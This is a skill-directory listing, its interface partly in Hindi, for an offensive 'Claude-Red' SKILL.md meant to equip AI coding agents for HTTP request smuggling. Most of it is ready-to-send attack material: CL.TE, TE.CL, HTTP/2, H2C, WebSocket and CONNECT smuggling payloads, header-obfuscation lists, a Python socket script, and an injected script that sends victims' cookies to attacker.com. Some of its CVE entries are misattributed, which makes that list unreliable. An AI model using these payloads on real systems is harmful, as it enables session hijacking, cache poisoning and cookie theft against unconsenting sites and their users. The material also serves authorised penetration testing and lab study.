SKILL: HTTP Request Smuggling
Metadata
- Skill Name: request-smuggling
SKILL.md
स्किल फ़ाइल पब्लिशर की रिपॉज़िटरी में ही रहती है।
कॉपी की गई कमांड टर्मिनल में पेस्ट करें। यह इस SKILL.md को उस एजेंट में इंस्टॉल करती है।
npx skills add SnailSploit/Claude-Red --skill offensive-request-smuggling -a cursor -yकॉपी की गई कमांड टर्मिनल में पेस्ट करें। यह इस SKILL.md को उस एजेंट में इंस्टॉल करती है।
npx skills add SnailSploit/Claude-Red --skill offensive-request-smuggling -a claude-code -yकॉपी की गई कमांड टर्मिनल में पेस्ट करें। यह इस SKILL.md को उस एजेंट में इंस्टॉल करती है।
npx skills add SnailSploit/Claude-Red --skill offensive-request-smuggling -a codex -yकॉपी की गई कमांड टर्मिनल में पेस्ट करें। यह इस SKILL.md को उस एजेंट में इंस्टॉल करती है।
npx skills add SnailSploit/Claude-Red --skill offensive-request-smuggling -a grok -yकॉपी किया गया संदेश Grok Bot चैट में भेजें। Bot यह SKILL.md GitHub से लाता है और उसे उन स्किल में जोड़ देता है जो आपके सभी Bot साझा करते हैं।
Install this skill: https://github.com/SnailSploit/Claude-Red/tree/HEAD/Skills/web/offensive-request-smugglingपब्लिशर से
HTTP request smuggling checklist: CL.TE, TE.CL, TE.TE variants, detection with timing and differential responses, WAF bypass, cache poisoning, credential hijacking, and request smuggling via HTTP/2. Use when testing reverse proxy/load balancer configurations.
Use this skill when the conversation involves any of:
request smuggling, HTTP smuggling, CL.TE, TE.CL, TE.TE, HTTP/2 smuggling, cache poisoning, WAF bypass, differential response, smuggling detection, proxy desync
When this skill is active:
HTTP Request Smuggling is a vulnerability that occurs when front-end and back-end servers interpret HTTP requests differently, leading to a desynchronization in the HTTP request processing chain. This desynchronization allows attackers to "smuggle" requests to the back-end server, potentially bypassing security controls or manipulating how other users' requests are processed.
graph TD
A[Client] -->|HTTP Request| B[Front-end Server]
B -->|Interpreted Request| C[Back-end Server]
B -->|Different Interpretation| D[Desynchronization]
D -->|Smuggled Request| C
D -->|Security Bypass| E[Unauthorized Access]
D -->|Queue Poisoning| F[Response Hijacking]
Request smuggling vulnerabilities arise from inconsistencies in how servers parse and interpret HTTP messages, particularly regarding:
Common desynchronization scenarios include:
HTTP/2/3 specific desync variants:
:authority vs Host normalization inconsistencies under CDNs.graph LR
subgraph "CL.TE Attack"
A1[Client] -->|"POST / HTTP/1.1<br>Content-Length: 30<br>Transfer-Encoding: chunked<br><br>0<br><br>GET /admin HTTP/1.1<br>X-Ignore:"| B1[Front-end]
B1 -->|"Uses Content-Length: 30<br>Sees one complete request"| C1[Back-end]
C1 -->|"Uses Transfer-Encoding<br>Sees two requests:<br>1. POST /<br>2. GET /admin"| D1[Smuggled Request Processed]
end
Modern variations include:
CL.TE Vulnerability Detection (Time Delay Example):
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
Send this request, then send a normal request. If the normal request experiences a time delay, CL.TE might be present.
TE.CL Vulnerability Detection (Time Delay Example):
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
Send this request, then send a normal request. If the normal request experiences a time delay, TE.CL might be present.
CL.TE Confirmation (Example):
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
Send twice. The second response should indicate an unrecognized method like GPOST.
TE.CL Confirmation (Example): (Ensure Burp's "Update Content-Length" is unchecked)
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Send twice. The second request should show the effect of the smuggled GPOST.
TE.TE Desync Detection (Obfuscation Example): (Ensure Burp's "Update Content-Length" is unchecked)
POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Send twice. The second request should show the effect of the smuggled GPOST, confirming that one server ignored the obfuscated Transfer-encoding: cow header.
Differential Testing: Observe response timing differences
Time Delays: Add artificial delays between requests to detect queue interference
Obfuscation Testing: Try various obfuscation techniques:
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: identity, chunked
content-length headers, mixed/malformed pseudo-headers, abnormal stream resets, header/continuation frame splitting.flowchart TD
A[Initial Assessment] --> B{Vulnerability Detected?}
B -->|Yes| C[Confirmation Testing]
B -->|No| D[Try Advanced Techniques]
D --> B
C --> E{Confirmed?}
E -->|Yes| F[Targeted Testing]
E -->|No| D
F --> G[Documentation & Exploitation]
subgraph "Initial Assessment"
A1[Test CL.TE Payloads]
A2[Test TE.CL Payloads]
A3[Check Header Obfuscation]
end
subgraph "Confirmation Testing"
C1[Send Request with Clear Response]
C2[Test Queue Poisoning]
C3[Check Status Code Anomalies]
end
subgraph "Targeted Testing"
F1[Test HTTP/2 Downgrade]
F2[Check Header Oversizing]
F3[Test Method Handling]
end
Initial Assessment:
Confirmation Testing:
Targeted Testing:
mindmap
root((HTTP Request Smuggling))
Security Control Bypass
WAF Bypass
Access Control Evasion
Authentication Bypass
Request/Response Queue Poisoning
Request Hijacking
Response Queue Poisoning
Cache Poisoning
Server-Specific Vulnerabilities
Nginx-Specific
Apache-Specific
NodeJS-Specific
Impact
Session Hijacking
Data Exposure
XSS Injection
Cache Poisoning
Network Scanning
Account Takeover
Transfer-Encoding handling with underscore prefixespython3 smuggler.py -u <URL> (defparam/smuggler, anshumanpattnaik/http-request-smuggling)go run ./cmd/h2csmuggler check https://target.com/ http://localhost (assetnote/h2csmuggler, BishopFox/h2csmuggler for HTTP/2)CL.TE Pattern:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 39
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
TE.CL Pattern:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
HTTP/2 Downgrade Pattern:
:method: POST
:path: /
:authority: vulnerable-website.com
content-length: 0
content-length: 44
GET /admin HTTP/1.1
Host: vulnerable-website.com
H2C Upgrade Smuggling Pattern:
GET / HTTP/1.1
Host: vulnerable-website.com
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
HTTP2-Settings: AAMAAABkAAQAAP__
GET /admin HTTP/1.1
Host: vulnerable-website.com
Request Hijacking:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 50
Transfer-Encoding: chunked
0
GET / HTTP/1.1
Host: vulnerable-website.com
Response Queue Poisoning:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 146
Transfer-Encoding: chunked
0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 30
<html>Fake Response</html>
WebSocket Hijacking:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 65
Transfer-Encoding: chunked
0
GET /socket HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Testing Patch Effectiveness:
Header Variations:
Transfer-Encoding: chunked
transfer-encoding: chunked
Transfer-Encoding:chunked
Transfer-Encoding: identity,chunked
Transfer-Encoding: identity, chunked
Chunk Size Manipulation:
1\r\n
A\r\n
0\r\n
\r\n
HTTP/2 Strictness Checks:
sequenceDiagram
participant A as Attacker
participant F as Front-end Server
participant B as Back-end Server
participant V as Victim
A->>F: 1. Send Smuggling Payload
F->>B: 2. First Request (Front-end interpretation)
Note over F,B: Desynchronization Occurs
A->>F: 3. Send Normal Request
F->>B: 4. Second Request gets appended to smuggled content
V->>F: 5. Victim sends innocent request
F->>B: 6. Victim's request gets processed with attacker's content
B->>F: 7. Modified response based on smuggled content
F->>V: 8. Victim receives unexpected/malicious response
Identify Desync Vulnerability:
Establish Attack Vector:
Craft Exploitation Payload:
Execute and Validate:
Document Impact:
HTTP/3 uses QUIC transport which introduces new desync opportunities when proxies translate between HTTP/3 and HTTP/1.1:
HTTP/3 to HTTP/1.1 Translation:
# HTTP/3 request with duplicate headers
:method: POST
:path: /api/endpoint
:authority: target.com
content-length: 10
content-length: 50
# Backend may use different content-length value
Testing HTTP/3:
# Using curl with HTTP/3
curl --http3 https://target.com/endpoint -v
# Check Alt-Svc header indicating HTTP/3 support
curl -I https://target.com | grep -i alt-svc
QUIC Stream Manipulation:
Client-side desync exploits browser behavior to poison the browser's own connection pool, affecting subsequent requests from the same client.
Mechanism:
Example CSD Attack:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 150
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable.com
Content-Length: 10
x=
GET /static/innocent.js HTTP/1.1
Host: vulnerable.com
Browser receives:
HTTP/1.1 200 OK
Content-Length: 100
<script>
// Malicious JavaScript injected into cached response
document.location='http://attacker.com/steal?cookie='+document.cookie;
</script>
Testing for CSD:
Age or X-Cache headers indicating cache hitHigh-Value Targets:
WebSocket upgrade process can be vulnerable to request smuggling:
WebSocket Upgrade Smuggling:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 200
Transfer-Encoding: chunked
0
GET /chat HTTP/1.1
Host: vulnerable.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: attacker-injection
Smuggling After WebSocket Establishment:
# Send via established WebSocket connection
GET /admin HTTP/1.1
Host: vulnerable.com
Cookie: admin_session=stolen_token
WebSocket Frame Manipulation:
Testing Steps:
CONNECT method can be abused for request smuggling:
CONNECT internal.service:80 HTTP/1.1
Host: vulnerable-proxy.com
GET /admin HTTP/1.1
Host: internal.service
Authorization: Bearer stolen_token
Testing:
Exploiting TCP flow control and timing:
import socket
import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('vulnerable.com', 80))
# Send headers slowly
s.send(b'POST / HTTP/1.1\r\n')
time.sleep(2)
s.send(b'Host: vulnerable.com\r\n')
time.sleep(2)
s.send(b'Content-Length: 50\r\n')
s.send(b'Transfer-Encoding: chunked\r\n\r\n')
# Send smuggled request
s.send(b'0\r\n\r\nGET /admin HTTP/1.1\r\n')
s.send(b'Host: vulnerable.com\r\n\r\n')
Exploit differences in maximum header sizes:
POST / HTTP/1.1
Host: vulnerable.com
X-Padding: AAAA[... 8KB of data ...]
Content-Length: 100
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
If front-end accepts larger headers than backend, backend may miss headers after cutoff point.
Header Name Obfuscation:
Transfer-Encoding : chunked # Space before colon
Transfer-Encoding\t: chunked # Tab
Transfer\rEncoding: chunked # Carriage return
Transfer\x00Encoding: chunked # Null byte (rare)
Transfer\x0bEncoding: chunked # Vertical tab
Multiple Content-Length Variations:
Content-Length: 10
Content-Length: 20
Content-length: 30 # Case variation
CONTENT-LENGTH: 40 # Uppercase
Content-Length : 50 # Space before colon
HTTP/2 Pseudo-Header Smuggling:
:method: POST
:path: /
:authority: target.com
:method: GET # Duplicate pseudo-header
content-length: 0
content-length: 50 # Duplicate content-length
Transfer-Encoding Value Pollution:
Transfer-Encoding: chunked, identity
Transfer-Encoding: identity, chunked
Transfer-Encoding: chunked;q=1
Transfer-Encoding: chunked\x20\x20
Transfer-Encoding: chunked\x0d\x0a
CVE-2023-45853 - MiniZinc HTTP Parser:
CVE-2023-38545 - curl SOCKS5 Heap Overflow:
CVE-2022-31629 - PHP HTTP Response Splitting:
CVE-2021-41773 - Apache HTTP Server Path Traversal:
CVE-2020-11724 - Varnish Cache HTTP/2 Desync:
Host/:authoritychunked; enforce single message framing signalConnection: close on sensitive responses; use HTTP/2 exclusively; implement strict cache controlsclaude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a spec
---name: Claude-Reddescription: claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill…---# Skills/web/offensive-request-smuggling/SKILL.mdओवरव्यू
claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.
FAQ
पब्लिशर से Skills/web/offensive-request-smuggling/SKILL.md डाउनलोड करें, या पाथ कॉपी करके रिपॉज़िटरी खोलें। PlugMCP स्किल को सूचीबद्ध करता है, फ़ाइल होस्ट नहीं करता।
पब्लिशर इसे https://github.com/SnailSploit/Claude-Red पर रखता है।
Claude, Cursor, Codex और Grok Build वह SKILL.md पढ़ सकते हैं जिसे आप पब्लिशर की रिपॉज़िटरी से जोड़ते हैं। जब आप चैट में स्किल के GitHub फ़ोल्डर का लिंक भेजते हैं, तो Grok Bot उसे इंस्टॉल कर देता है।